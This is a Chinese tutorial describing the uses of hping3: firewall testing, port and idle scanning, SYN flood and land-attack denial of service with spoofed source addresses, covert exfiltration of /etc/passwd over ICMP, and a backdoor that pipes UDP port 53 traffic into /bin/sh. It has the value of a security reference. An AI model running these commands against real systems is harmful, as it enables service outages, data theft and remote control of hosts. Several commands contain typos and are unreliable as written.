Hping3 主要有以下典型功能应用：

**防火墙测试**

使用Hping3指定各种数据包字段，依次对防火墙进行详细测试。请参考：http://0daysecurity.com/articles/hping3\_examples.html

测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击（DoS attack）。例如，以LandAttack方式测试目标防火墙（Land Attack是将发送源地址设置为与目标地址相同，诱使目标机与自己不停地建立连接）。

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

**端口扫描**

Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放：

hping3 -I eth0 -S 192.168.10.1 -p 80

其中-I eth0指定使用eth0端口，-S指定TCP包的标志位SYN，-p 80指定探测的目的端口。

hping3支持非常丰富的端口探测方式，nmap拥有的扫描方式hping3几乎都支持（除开connect方式，因为Hping3仅发送与接收包，不会维护连接，所以不支持connect方式探测）。而且Hping3能够对发送的探测进行更加精细的控制，方便用户微调探测结果。当然，Hping3的端口扫描性能及综合处理能力，无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

**Idle扫描**

Idle扫描（Idle Scanning）是一种匿名扫描远程主机的方式，该方式也是有Hping3的作者Salvatore Sanfilippo发明的，目前Idle扫描在Nmap中也有实现。

该扫描原理是：寻找一台idle主机（该主机没有任何的网络流量，并且IPID是逐个增长的），攻击端主机先向idle主机发送探测包，从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包（此处假设为SYN包），此时如果远程主机的目的端口开放，那么会回复SYN/ACK，此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包，获取其IPID。那么对比两次的IPID值，我们就可以判断远程主机是否回复了数据包，从而间接地推测其端口状态。

**拒绝服务攻击**

使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接，伪造源地址为192.168.10.99，并使用1000微秒的间隔发送各个SYN包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻击如smurf、teardrop、land attack等也很容易构建出来。

**文件传输**

Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口，对检测到的签名（签名为用户指定的字符串）的内容进行相应的解析。在接收端开启服务：

hping3 192.168.1.159--listen signature --safe --icmp

监听ICMP包中的签名，根据签名解析出文件内容。

在发送端使用签名打包的ICMP包发送文件：

hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd

将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节（-d 100），发送签名为signature(-sign signature)。

**木马功能**

如果Hping3能够在远程主机上启动，那么可以作为木马程序启动监听端口，并在建立连接后打开shell通信。与netcat的后门功能类似。

示例：本地打开53号UDP端口（DNS解析服务）监听来自192.168.10.66主机的包含签名为signature的数据包，并将收到的数据调用/bin/sh执行。

在木马启动端：

hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh

在远程控制端：

echo ls >test.cmd

hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口，包数据长度为100字节。

当然这里只是简单的演示程序，真实的场景，控制端可以利益shell执行很多的高级复杂的操作。